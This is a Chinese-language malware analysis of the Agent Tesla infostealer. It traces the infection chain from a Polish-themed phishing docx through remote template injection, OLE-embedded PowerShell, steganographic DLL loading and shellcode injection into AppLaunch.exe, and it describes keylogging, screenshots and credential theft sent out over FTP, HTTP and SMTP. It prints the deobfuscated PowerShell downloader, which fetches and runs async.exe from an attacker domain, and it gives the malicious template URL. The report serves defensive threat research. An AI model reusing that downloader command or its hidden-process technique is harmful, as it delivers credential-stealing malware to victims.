Agent Tesla竊密軟件分析
背景描述:
Agent Tesla為一款知名的商業竊密木馬,自從2014年Agent Tesla被發現以來一直非常活躍,多個變種層出不窮,主要由.Net 編寫,用于從失陷主機上竊取敏感信息,如剪貼板數據,鍵盤按鍵記錄,能夠從Web瀏覽器,電子郵件客戶端和FTP服務器訪問信息,屏幕截圖等。
分析認為Agent Tesla間諜軟件起源于土耳其,該惡意軟件通過Vidar或IcedID等垃圾郵件活動廣泛傳播。它通常以惡意文檔或通過惡意Web鏈接傳遞給受害者。訪問此類鏈接后,受污染的文檔將自動下載到受害者的PC上。
樣本概述:
此次分析的樣本初始載荷為一個docx文件,運行之后會通過遠程模板注入執行目標rtf文件,其中嵌入了多個ole對象去利用vba指令執行powershell去遠端下載名為async.exe的惡意軟件,然后從資源文件中讀取和加載后續惡意dll,攻擊者采用隱寫技術,將木馬執行程序隱藏在圖片資源中,dll主要功能為從圖片資源中讀取并且解密得到一段shellcode將其注入到AppLaunch.exe去執行,這段shellcode也就是最終的Agent Tesla核心功能。
執行流程:

樣本分析:
初始載荷:
釣魚文件名為波蘭語項目分析的docx文件,打開后會連接遠程服務器獲取模板并注入,通過這樣的方式可以規避對初始文件的檢測

從word\_rels文件夾的settings.xml.rels文件中找到了該word攜帶的惡意鏈接地址,從地址下載帶后續rtf文檔并且自動執行http://office-cloud-reserve.com/Projekt.rtf?raw=true

遠程模板rtf:
打開Projekt.rtf文檔,彈出宏安全檢測,發現是嵌入了多個ole對象,而OLE對象的OOXML中包含混淆的powershell代碼,使用oletools提取出來

cmd /c start /min powershell $Computer = '.';
$c = [WMICLASS]"""\$computerrootcimv2:WIn32_Process""";
$f =[WMICLASS]"""\$computerrootcimv2:Win32_ProcessStartup""";
$ty =$f.CreateInstance();
$ty.ShowWindow = 0;
$proc = $c.Create("""Powershell '(&(GCM *W-O*)Net.WebClient).DownloadFile(''http://office-cloud-reserve.com/async.exe'',''$env:APPDATA''async.exe'')'|IEX;
start-process('$env:APPDATA' + 'async.exe')""",$null,$ty)
通過WMI使用 "Win32_Process "類的 "Create "方法來創建一個新的進程執行下載后續的可執行文件http://office-cloud-reserve.com/async.exe,$env:APPDATA從環境變量里找到路徑C:\Users\Admin\AppData\Roaming把文件保存在此
async.exe

拖進dnspy里,發現調用的主要處理函數是Myint函數,先通過Decrypt方法解密ArrayBytes內的數據,ArrayBytes為定義的硬編碼,解碼邏輯分為單雙位,單位不變,雙位-B,在內存中解碼出大小為0xEA00的dll文件,


解密出來為ClassLibrary2.dll文件,同樣是由c#編寫

加載解碼出來的dll

使用InvokeMethod反射調用ClassLibrary2.Program中的Main函數

classlibrary2.dll:
來到classlibrary2.dll的main函數處,接著往下跟,發現會從原始exe中加載其資源節中儲存的圖片

對加載的圖片數據執行函數提取數據


待處理的數據:

對提取出來的數據使用0x20Bytes(ASE-256)大小的密鑰以AES加密CBC模式,sha256等方式對數據進行解密處理




最終解密出0x48C00大小的ShellCode

shellcode注入AppLaunch.exe:
先是搜索拼接出AppLaunch.exe的絕對路徑,獲取句柄

反射調用函數,利用常規的注入方式將解密出來的shellcode遠程線程注入進AppLaunch.exe并且執行,先是獲取線程上下文

再讀取內存空間

申請內存空間

寫入內存空間

設置線程上下文

恢復線程

shellcode:
將這段注入的shellcode數據dump出來,文件編譯時間是在2020年3月3日

其中的代碼都經過混淆處理,還包含了大量的運算和跳轉干擾檢測和調試分析

直接查看調用結構大致分析一下

主要功能:
1. 獲取用戶名和電腦名:

2. 屏幕截圖保存成jpg

3. 竊取登錄憑證:

4. 從遠端下載并執行文件:

5. 鍵盤記錄器:
調用函數GetKeyboardState,GetKeyboardLayout,GetForegroundWindow等函數來實現了鍵盤記錄器功能

消息回傳方式:
Agent Tesla支持三種方式將竊取數據回傳給攻擊者,分別是FTP,HTTP,SMTP,先是將獲取的信息保存為html文檔,命名規則就按照pw_+自己的用戶名+電腦名+時間,通過ftp的方式發出


http


ftp

smtp

溯源/關聯分析:
通過搜索其使用的該遠程注入的模板地址,可以關聯到多個Agent Tesla的攻擊活動,大部分集中在2020年3月,通過其他的分析文章可以明顯發現帶有惡意載荷,多篇相關報告攻擊指向尼日利亞


偽裝Office網站的域名自曝光起持續延用了一年多

